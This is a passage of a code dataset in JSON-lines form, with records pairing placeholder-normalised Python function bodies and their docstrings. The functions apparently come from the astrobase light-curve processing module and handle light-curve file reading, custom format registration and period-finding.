information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str or None\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    xmatchinfo : str or dict\n        This is either the xmatch dict produced by the function\n        `load_xmatch_external_catalogs` above, or the path to the xmatch info\n        pickle file produced by that function.\n\n    xmatchradiusarcsec : float\n        This is the cross-matching radius to use in arcseconds.\n\n    minobservations : int\n        The minimum of observations the input object's mag/flux time-series must\n        have for this function to plot its light curve and phased light\n        curve. If the object has less than this number, no light curves will be\n        plotted, but the checkplotdict will still contain all of the other\n        information.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in generating this checkplot.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in generating this checkplot.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in generating this checkplot.\n\n    skipdone : bool\n        This indicates if this function will skip creating checkplots that\n        already exist corresponding to the current `objectid` and `magcol`. If\n        `skipdone` is set to True, this will be done.\n\n    done_callback : Python function or None\n        This is used to provide a function to execute after the checkplot\n        pickles are generated. This is useful if you want to stream the results\n        of checkplot making to some other process, e.g. directly running an\n        ingestion into an LCC-Server collection. The function will always get\n        the list of the generated checkplot pickles as its first arg, and all of\n        the kwargs for runcp in the kwargs dict. Additional args and kwargs can\n        be provided by giving a list in the `done_callbacks_args` kwarg and a\n        dict in the `done_callbacks_kwargs` kwarg.\n\n        NOTE: the function you pass in here should be pickleable by normal\n        Python if you want to use it with the parallel_cp and parallel_cp_lcdir\n        functions below.\n\n    done_callback_args : tuple or None\n        If not None, contains any args to pass into the `done_callback`\n        function.\n\n    done_callback_kwargs : dict or None\n        If not None, contains any kwargs to pass into the `done_callback`\n        function.\n\n    maxobjects : int\n        The maximum number of objects to process in this run.\n\n    nworkers : int\n        The number of parallel workers that will work on the checkplot\n        generation process.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict with keys = input period-finding pickles and vals =\n        list of the corresponding checkplot pickles produced.", "id": "f14700:m5"}
{"signature": "def _read_pklc(lcfile):", "body": "if lcfile.endswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>with gzip.open(lcfile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd)<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>with gzip.open(lcfile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>with open(lcfile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd)<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>with open(lcfile,'<STR_LIT:rb>') as infd:<EOL><INDENT>lcdict = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>return lcdict<EOL>", "docstring": "This just reads a light curve pickle file.\n\nParameters\n----------\n\nlcfile : str\n    The file name of the pickle to open.\n\nReturns\n-------\n\ndict\n    This returns an lcdict.", "id": "f14701:m1"}
{"signature": "def _check_extmodule(module, formatkey):", "body": "try:<EOL><INDENT>if os.path.exists(module):<EOL><INDENT>sys.path.append(os.path.dirname(module))<EOL>importedok = importlib.import_module(<EOL>os.path.basename(module.replace('<STR_LIT>','<STR_LIT>'))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>importedok = importlib.import_module(module)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (module, formatkey))<EOL>importedok = False<EOL><DEDENT>return importedok<EOL>", "docstring": "This imports the module specified.\n\n    Used to dynamically import Python modules that are needed to support LC\n    formats not natively supported by astrobase.\n\n    Parameters\n    ----------\n\n    module : str\n        This is either:\n\n        - a Python module import path, e.g. 'astrobase.lcproc.catalogs' or\n        - a path to a Python file, e.g. '/astrobase/hatsurveys/hatlc.py'\n\n        that contains the Python module that contains functions used to open\n        (and optionally normalize) a custom LC format that's not natively\n        supported by astrobase.\n\n    formatkey : str\n        A str used as the unique ID of this LC format for all lcproc functions\n        and can be used to look it up later and import the correct functions\n        needed to support it for lcproc operations. For example, we use\n        'kep-fits' as a the specifier for Kepler FITS light curves, which can be\n        read by the `astrobase.astrokep.read_kepler_fitslc` function as\n        specified by the `<astrobase install path>/data/lcformats/kep-fits.json`\n        LC format specification JSON.\n\n    Returns\n    -------\n\n    Python module\n        This returns a Python module if it's able to successfully import it.", "id": "f14701:m2"}
{"signature": "def register_lcformat(formatkey,<EOL>fileglob,<EOL>timecols,<EOL>magcols,<EOL>errcols,<EOL>readerfunc_module,<EOL>readerfunc,<EOL>readerfunc_kwargs=None,<EOL>normfunc_module=None,<EOL>normfunc=None,<EOL>normfunc_kwargs=None,<EOL>magsarefluxes=False,<EOL>overwrite_existing=False,<EOL>lcformat_dir='<STR_LIT>'):", "body": "LOGINFO('<STR_LIT>' % formatkey)<EOL>lcformat_dpath = os.path.abspath(<EOL>os.path.expanduser(lcformat_dir)<EOL>)<EOL>if not os.path.exists(lcformat_dpath):<EOL><INDENT>os.makedirs(lcformat_dpath)<EOL><DEDENT>lcformat_jsonpath = os.path.join(lcformat_dpath,'<STR_LIT>' % formatkey)<EOL>if os.path.exists(lcformat_jsonpath) and not overwrite_existing:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (lcformat_jsonpath, formatkey))<EOL>return None<EOL><DEDENT>readermodule = _check_extmodule(readerfunc_module, formatkey)<EOL>if not readermodule:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(readerfunc_module, formatkey))<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>getattr(readermodule, readerfunc)<EOL>readerfunc_in = readerfunc<EOL><DEDENT>except AttributeError:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (formatkey, readerfunc_module, readerfunc))<EOL>raise<EOL><DEDENT>if normfunc_module:<EOL><INDENT>normmodule = _check_extmodule(normfunc_module, formatkey)<EOL>if not normmodule:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(normfunc_module, formatkey))<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>normmodule = None<EOL><DEDENT>if normfunc_module and normfunc:<EOL><INDENT>try:<EOL><INDENT>getattr(normmodule, normfunc)<EOL>normfunc_in = normfunc<EOL><DEDENT>except AttributeError:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (normfunc, formatkey, normfunc_module))<EOL>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>normfunc_in = None<EOL><DEDENT>formatdict = {'<STR_LIT>':fileglob,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':magsarefluxes,<EOL>'<STR_LIT>':readerfunc_module,<EOL>'<STR_LIT>':readerfunc_in,<EOL>'<STR_LIT>':readerfunc_kwargs,<EOL>'<STR_LIT>':normfunc_module,<EOL>'<STR_LIT>':normfunc_in,<EOL>'<STR_LIT>':normfunc_kwargs}<EOL>with open(lcformat_jsonpath,'<STR_LIT:w>') as outfd:<EOL><INDENT>json.dump(formatdict, outfd, indent=<NUM_LIT:4>)<EOL><DEDENT>return lcformat_jsonpath<EOL>", "docstring": "This adds a new LC format to the astrobase LC format registry.\n\n    Allows handling of custom format light curves for astrobase lcproc\n    drivers. Once the format is successfully registered, light curves should\n    work transparently with all of the functions in this module, by simply\n    calling them with the `formatkey` in the `lcformat` keyword argument.\n\n    LC format specifications are generated as JSON files. astrobase comes with\n    several of these in `<astrobase install path>/data/lcformats`. LC formats\n    you add by using this function will have their specifiers written to the\n    `~/.astrobase/lcformat-jsons` directory in your home directory.\n\n    Parameters\n    ----------\n\n    formatkey : str\n        A str used as the unique ID of this LC format for all lcproc functions\n        and can be used to look it up later and import the correct functions\n        needed to support it for lcproc operations. For example, we use\n        'kep-fits' as a the specifier for Kepler FITS light curves, which can be\n        read by the `astrobase.astrokep.read_kepler_fitslc` function as\n        specified by the `<astrobase install path>/data/lcformats/kep-fits.json`\n        LC format specification JSON produced by `register_lcformat`.\n\n    fileglob : str\n        The default UNIX fileglob to use to search for light curve files in this\n        LC format. This is a string like '*-whatever-???-*.*??-.lc'.\n\n    timecols,magcols,errcols : list of str\n        These are all lists of strings indicating which keys in the lcdict\n        produced by your `lcreader_func` that will be extracted and used by\n        lcproc functions for processing. The lists must all have the same\n        dimensions, e.g. if timecols = ['timecol1','timecol2'], then magcols\n        must be something like ['magcol1','magcol2'] and errcols must be\n        something like ['errcol1', 'errcol2']. This allows you to process\n        multiple apertures or multiple types of measurements in one go.\n\n        Each element in these lists can be a simple key, e.g. 'time' (which\n        would correspond to lcdict['time']), or a composite key,\n        e.g. 'aperture1.times.rjd' (which would correspond to\n        lcdict['aperture1']['times']['rjd']). See the examples in the lcformat\n        specification JSON files in `<astrobase install path>/data/lcformats`.\n\n    readerfunc_module : str\n        This is either:\n\n        - a Python module import path, e.g. 'astrobase.lcproc.catalogs' or\n        - a path to a Python file, e.g. '/astrobase/hatsurveys/hatlc.py'\n\n        that contains the Python module that contains functions used to open\n        (and optionally normalize) a custom LC format that's not natively\n        supported by astrobase.\n\n    readerfunc : str\n        This is the function name in `readerfunc_module` to use to read light\n        curves in the custom format. This MUST always return a dictionary (the\n        'lcdict') with the following signature (the keys listed below are\n        required, but others are allowed)::\n\n            {'objectid': this object's identifier as a string,\n             'objectinfo':{'ra': this object's right ascension in decimal deg,\n                           'decl': this object's declination in decimal deg,\n                           'ndet': the number of observations in this LC,\n                           'objectid': the object ID again for legacy reasons},\n             ...other time columns, mag columns go in as their own keys}\n\n    normfunc_kwargs : dict or None\n        This is a dictionary containing any kwargs to pass through to\n        the light curve norm function.\n\n    normfunc_module : str or None\n        This is either:\n\n        - a Python module import path, e.g. 'astrobase.lcproc.catalogs' or\n        - a path to a Python file, e.g. '/astrobase/hatsurveys/hatlc.py'\n        - None, in which case we'll use default normalization\n\n        that contains the Python module that contains functions used to\n        normalize a custom LC format that's not natively supported by astrobase.\n\n    normfunc : str or None\n        This is the function name in `normfunc_module` to use to normalize light\n        curves in the custom format. If None, the default normalization method\n        used by lcproc is to find gaps in the time-series, normalize\n        measurements grouped by these gaps to zero, then normalize the entire\n        magnitude time series to global time series median using the\n        `astrobase.lcmath.normalize_magseries` function.\n\n        If this is provided, the normalization function should take and return\n        an lcdict of the same form as that produced by `readerfunc` above. For\n        an example of a specific normalization function, see\n        `normalize_lcdict_by_inst` in the `astrobase.hatsurveys.hatlc` module.\n\n    normfunc_kwargs : dict or None\n        This is a dictionary containing any kwargs to pass through to\n        the light curve normalization function.\n\n    magsarefluxes : bool\n        If this is True, then all lcproc functions will treat the measurement\n        columns in the lcdict produced by your `readerfunc` as flux instead of\n        mags, so things like default normalization and sigma-clipping will be\n        done correctly. If this is False, magnitudes will be treated as\n        magnitudes.\n\n    overwrite_existing : bool\n        If this is True, this function will overwrite any existing LC format\n        specification JSON with the same name as that provided in the\n        `formatkey` arg. This can be used to update LC format specifications\n        while keeping the `formatkey` the same.\n\n    lcformat_dir : str\n        This specifies the directory where the the LC format specification JSON\n        produced by this function will be written. By default, this goes to the\n        `.astrobase/lcformat-jsons` directory in your home directory.\n\n    Returns\n    -------\n\n    str\n        Returns the file path to the generated LC format specification JSON\n        file.", "id": "f14701:m3"}
{"signature": "def get_lcformat(formatkey, use_lcformat_dir=None):", "body": "if isinstance(use_lcformat_dir, str):<EOL><INDENT>lcformat_jsonpath = os.path.join(<EOL>use_lcformat_dir,<EOL>'<STR_LIT>' % formatkey<EOL>)<EOL>if not os.path.exists(lcformat_jsonpath):<EOL><INDENT>lcformat_jsonpath = os.path.join(<EOL>os.path.expanduser('<STR_LIT>'),<EOL>'<STR_LIT>' % formatkey<EOL>)<EOL>if not os.path.exists(lcformat_jsonpath):<EOL><INDENT>install_path = os.path.dirname(__file__)<EOL>install_path = os.path.abspath(<EOL>os.path.join(install_path, '<STR_LIT:..>', '<STR_LIT:data>','<STR_LIT>')<EOL>)<EOL>lcformat_jsonpath = os.path.join(<EOL>install_path,<EOL>'<STR_LIT>' % formatkey<EOL>)<EOL>if not os.path.exists(lcformat_jsonpath):<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% formatkey)<EOL>return None<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>lcformat_jsonpath = os.path.join(<EOL>os.path.expanduser('<STR_LIT>'),<EOL>'<STR_LIT>' % formatkey<EOL>)<EOL>if not os.path.exists(lcformat_jsonpath):<EOL><INDENT>install_path = os.path.dirname(__file__)<EOL>install_path = os.path.abspath(<EOL>os.path.join(install_path, '<STR_LIT:..>', '<STR_LIT:data>','<STR_LIT>')<EOL>)<EOL>lcformat_jsonpath = os.path.join(<EOL>install_path,<EOL>'<STR_LIT>' % formatkey<EOL>)<EOL>if not os.path.exists(lcformat_jsonpath):<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% formatkey)<EOL>return None<EOL><DEDENT><DEDENT><DEDENT>with open(lcformat_jsonpath) as infd:<EOL><INDENT>lcformatdict = json.load(infd)<EOL><DEDENT>readerfunc_module = lcformatdict['<STR_LIT>']<EOL>readerfunc = lcformatdict['<STR_LIT>']<EOL>readerfunc_kwargs = lcformatdict['<STR_LIT>']<EOL>normfunc_module = lcformatdict['<STR_LIT>']<EOL>normfunc = lcformatdict['<STR_LIT>']<EOL>normfunc_kwargs = lcformatdict['<STR_LIT>']<EOL>fileglob = lcformatdict['<STR_LIT>']<EOL>timecols = lcformatdict['<STR_LIT>']<EOL>magcols = lcformatdict['<STR_LIT>']<EOL>errcols = lcformatdict['<STR_LIT>']<EOL>magsarefluxes = lcformatdict['<STR_LIT>']<EOL>readermodule = _check_extmodule(readerfunc_module, formatkey)<EOL>if not readermodule:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(readerfunc_module, formatkey))<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>readerfunc_in = getattr(readermodule, readerfunc)<EOL><DEDENT>except AttributeError:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (formatkey, readerfunc_module, readerfunc))<EOL>raise<EOL><DEDENT>if normfunc_module:<EOL><INDENT>normmodule = _check_extmodule(normfunc_module, formatkey)<EOL>if not normmodule:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(normfunc_module, formatkey))<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>normmodule = None<EOL><DEDENT>if normfunc_module and normfunc:<EOL><INDENT>try:<EOL><INDENT>normfunc_in = getattr(normmodule, normfunc)<EOL><DEDENT>except AttributeError:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (formatkey, normfunc_module, normfunc))<EOL>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>normfunc_in = None<EOL><DEDENT>if isinstance(readerfunc_kwargs, dict):<EOL><INDENT>readerfunc_in = partial(readerfunc_in, **readerfunc_kwargs)<EOL><DEDENT>if normfunc_in is not None:<EOL><INDENT>if isinstance(normfunc_kwargs, dict):<EOL><INDENT>normfunc_in = partial(normfunc_in, **normfunc_kwargs)<EOL><DEDENT><DEDENT>returntuple = (<EOL>fileglob,<EOL>readerfunc_in,<EOL>timecols,<EOL>magcols,<EOL>errcols,<EOL>magsarefluxes,<EOL>normfunc_in,<EOL>)<EOL>return returntuple<EOL>", "docstring": "This loads an LC format description from a previously-saved JSON file.\n\n    Parameters\n    ----------\n\n    formatkey : str\n        The key used to refer to the LC format. This is part of the JSON file's\n        name, e.g. the format key 'hat-csv' maps to the format JSON file:\n        '<astrobase install path>/data/lcformats/hat-csv.json'.\n\n    use_lcformat_dir : str or None\n        If provided, must be the path to a directory that contains the\n        corresponding lcformat JSON file for `formatkey`. If this is None, this\n        function will look for lcformat JSON files corresponding to the given\n        `formatkey`:\n\n        - first, in the directory specified in this kwarg,\n        - if not found there, in the home directory: ~/.astrobase/lcformat-jsons\n        - if not found there, in: <astrobase install path>/data/lcformats\n\n    Returns\n    -------\n\n    tuple\n        A tuple of the following form is returned::\n\n            (fileglob       : the file glob of the associated LC files,\n             readerfunc_in  : the imported Python function for reading LCs,\n             timecols       : list of time col keys to get from the lcdict,\n             magcols        : list of mag col keys to get from the lcdict ,\n             errcols        : list of err col keys to get from the lcdict,\n             magsarefluxes  : True if the measurements are fluxes not mags,\n             normfunc_in    : the imported Python function for normalizing LCs)\n\n        All `astrobase.lcproc` functions can then use this tuple to dynamically\n        import your LC reader and normalization functions to work with your LC\n        format transparently.", "id": "f14701:m4"}
{"signature": "def runpf(lcfile,<EOL>outdir,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>pfmethods=('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'),<EOL>pfkwargs=({},{},{},{}),<EOL>sigclip=<NUM_LIT>,<EOL>getblssnr=False,<EOL>nworkers=NCPUS,<EOL>minobservations=<NUM_LIT>,<EOL>excludeprocessed=False,<EOL>raiseonfail=False):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>try:<EOL><INDENT>lcdict = readerfunc(lcfile)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>outfile = os.path.join(outdir, '<STR_LIT>' %<EOL>squeeze(lcdict['<STR_LIT>']).replace('<STR_LIT:U+0020>', '<STR_LIT:->'))<EOL>if excludeprocessed:<EOL><INDENT>test_outfile = os.path.exists(outfile)<EOL>test_outfile_gz = os.path.exists(outfile+'<STR_LIT>')<EOL>if (test_outfile and os.stat(outfile).st_size > <NUM_LIT>):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (lcfile, outfile))<EOL>return outfile<EOL><DEDENT>elif (test_outfile_gz and os.stat(outfile+'<STR_LIT>').st_size > <NUM_LIT>):<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (lcfile, outfile+'<STR_LIT>')<EOL>)<EOL>return outfile+'<STR_LIT>'<EOL><DEDENT><DEDENT>resultdict = {<EOL>'<STR_LIT>':lcdict['<STR_LIT>'],<EOL>'<STR_LIT>':os.path.basename(lcfile),<EOL>'<STR_LIT>':{'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':lcformatdir,<EOL>'<STR_LIT>':pfmethods,<EOL>'<STR_LIT>':pfkwargs,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':getblssnr}<EOL>}<EOL>if normfunc is not None:<EOL><INDENT>lcdict = normfunc(lcdict)<EOL><DEDENT>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>times = _dict_get(lcdict, tcolget)<EOL>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>mags = _dict_get(lcdict, mcolget)<EOL>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>errs = _dict_get(lcdict, ecolget)<EOL>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>times, mags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>times, mags, errs = ntimes, nmags, errs<EOL><DEDENT>resultdict[mcol] = {}<EOL>finmags = mags[np.isfinite(mags)]<EOL>if finmags.size < minobservations:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(finmags.size, minobservations, mcol))<EOL>continue<EOL><DEDENT>pfmkeys = []<EOL>for pfmind, pfm, pfkw in zip(range(len(pfmethods)),<EOL>pfmethods,<EOL>pfkwargs):<EOL><INDENT>pf_func = PFMETHODS[pfm]<EOL>pf_kwargs = pfkw<EOL>pf_kwargs.update({'<STR_LIT>':False,<EOL>'<STR_LIT>':nworkers,<EOL>'<STR_LIT>':magsarefluxes,<EOL>'<STR_LIT>':sigclip})<EOL>pfmkey = '<STR_LIT>' % (pfmind, pfm)<EOL>pfmkeys.append(pfmkey)<EOL>resultdict[mcol][pfmkey] = pf_func(<EOL>times, mags, errs,<EOL>**pf_kwargs<EOL>)<EOL><DEDENT>resultdict[mcol]['<STR_LIT>'] = pfmkeys<EOL>if '<STR_LIT>' in pfmethods and getblssnr:<EOL><INDENT>for pfmk in resultdict[mcol]['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' in pfmk:<EOL><INDENT>try:<EOL><INDENT>bls = resultdict[mcol][pfmk]<EOL>blssnr = bls_snr(bls, times, mags, errs,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=False)<EOL>resultdict[mcol][pfmk].update({<EOL>'<STR_LIT>':blssnr['<STR_LIT>'],<EOL>'<STR_LIT>':blssnr['<STR_LIT>'],<EOL>'<STR_LIT>':blssnr['<STR_LIT>'],<EOL>})<EOL>resultdict[mcol][pfmk].update({<EOL>'<STR_LIT>':blssnr['<STR_LIT>'],<EOL>'<STR_LIT>':blssnr['<STR_LIT>']<EOL>})<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>lcfile)<EOL>resultdict[mcol][pfmk].update({<EOL>'<STR_LIT>':[np.nan,np.nan,np.nan,np.nan,np.nan],<EOL>'<STR_LIT>':[np.nan,np.nan,np.nan,<EOL>np.nan,np.nan],<EOL>'<STR_LIT>':[np.nan,np.nan,np.nan,<EOL>np.nan,np.nan],<EOL>})<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif '<STR_LIT>' in pfmethods:<EOL><INDENT>for pfmk in resultdict[mcol]['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' in pfmk:<EOL><INDENT>resultdict[mcol][pfmk].update({<EOL>'<STR_LIT>':[np.nan,np.nan,np.nan,np.nan,np.nan],<EOL>'<STR_LIT>':[np.nan,np.nan,np.nan,<EOL>np.nan,np.nan],<EOL>'<STR_LIT>':[np.nan,np.nan,np.nan,<EOL>np.nan,np.nan],<EOL>})<EOL><DEDENT><DEDENT><DEDENT><DEDENT>with open(outfile, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(resultdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outfile<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (lcfile, e))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This runs the period-finding for a single LC.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        The light curve file to run period-finding on.\n\n    outdir : str\n        The output directory where the result pickle will go.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    pfmethods : list of str\n        This is a list of period finding methods to run. Each element is a\n        string matching the keys of the `PFMETHODS` dict above. By default, this\n        runs GLS, PDM, AoVMH, and the spectral window Lomb-Scargle periodogram.\n\n    pfkwargs : list of dicts\n        This is used to provide any special kwargs as dicts to each\n        period-finding method function specified in `pfmethods`.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    getblssnr : bool\n        If this is True and BLS is one of the methods specified in `pfmethods`,\n        will also calculate the stats for each best period in the BLS results:\n        transit depth, duration, ingress duration, refit period and epoch, and\n        the SNR of the transit.\n\n    nworkers : int\n        The number of parallel period-finding workers to launch.\n\n    minobservations : int\n        The minimum number of finite LC points required to process a light\n        curve.\n\n    excludeprocessed : bool\n        If this is True, light curves that have existing period-finding result\n        pickles in `outdir` will not be processed.\n\n        FIXME: currently, this uses a dumb method of excluding already-processed\n        files. A smarter way to do this is to (i) generate a SHA512 cachekey\n        based on a repr of `{'lcfile', 'timecols', 'magcols', 'errcols',\n        'lcformat', 'pfmethods', 'sigclip', 'getblssnr', 'pfkwargs'}`, (ii) make\n        sure all list kwargs in the dict are sorted, (iii) check if the output\n        file has the same cachekey in its filename (last 8 chars of cachekey\n        should work), so the result was processed in exactly the same way as\n        specifed in the input to this function, and can therefore be\n        ignored. Will implement this later.\n\n    raiseonfail : bool\n        If something fails and this is True, will raise an Exception instead of\n        returning None at the end.\n\n    Returns\n    -------\n\n    str\n        The path to the output period-finding result pickle.", "id": "f14702:m1"}
{"signature": "def _runpf_worker(task):", "body": "(lcfile, outdir, timecols, magcols, errcols, lcformat, lcformatdir,<EOL>pfmethods, pfkwargs, getblssnr, sigclip, nworkers, minobservations,<EOL>excludeprocessed) = task<EOL>if os.path.exists(lcfile):<EOL><INDENT>pfresult = runpf(lcfile,<EOL>outdir,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>pfmethods=pfmethods,<EOL>pfkwargs=pfkwargs,<EOL>getblssnr=getblssnr,<EOL>sigclip=sigclip,<EOL>nworkers=nworkers,<EOL>minobservations=minobservations,<EOL>excludeprocessed=excludeprocessed)<EOL>return pfresult<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % lcfile)<EOL>return None<EOL><DEDENT>", "docstring": "This runs the runpf function.", "id": "f14702:m2"}
